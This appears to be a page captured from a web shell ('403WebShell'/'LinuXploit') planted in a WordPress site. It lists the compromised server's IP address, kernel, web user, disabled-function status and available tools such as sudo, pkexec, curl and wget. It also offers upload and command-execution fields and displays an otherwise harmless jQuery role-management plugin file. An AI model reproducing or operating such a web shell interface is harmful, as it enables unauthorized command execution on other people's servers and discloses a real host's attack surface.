Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.37
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/role-management/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/role-management/custom-role-permissions.js
jQuery(document).ready(function($) {
    $('#role').on('change', function() {
        $('#custom-role-permissions-form').submit(); // Submit form on role change
    });

    $('#select-user-form').on('submit', function(e) {
        e.preventDefault();
        var formData = $(this).serialize();
        var selectedRole = $('#role').val();

        $.ajax({
            type: 'POST',
            url: ajaxurl,
            data: formData,
            success: function(response) {
                // Update user dropdown
                $('#user').html(response);
                $('#user').trigger('change'); // Trigger change event to update side menu
            },
            error: function(xhr, status, error) {
                console.error('Error fetching users:', error);
            }
        });
    });

    $('#user').on('change', function() {
        var selectedUserId = $(this).val();
        var selectedRole = $('#role').val();

        // AJAX call to fetch and update side menu items based on selected user and role
        $.ajax({
            type: 'POST',
            url: ajaxurl,
            data: {
                action: 'custom_get_admin_menu_ajax', // AJAX action to fetch admin menu
                role: selectedRole,
                user: selectedUserId,
            },
            success: function(response) {
                $('#side-menu-container').html(response);
            },
            error: function(xhr, status, error) {
                console.error('Error fetching admin menu:', error);
            }
        });
    });
});

Youez - 2016 - github.com/yon3zu
LinuXploit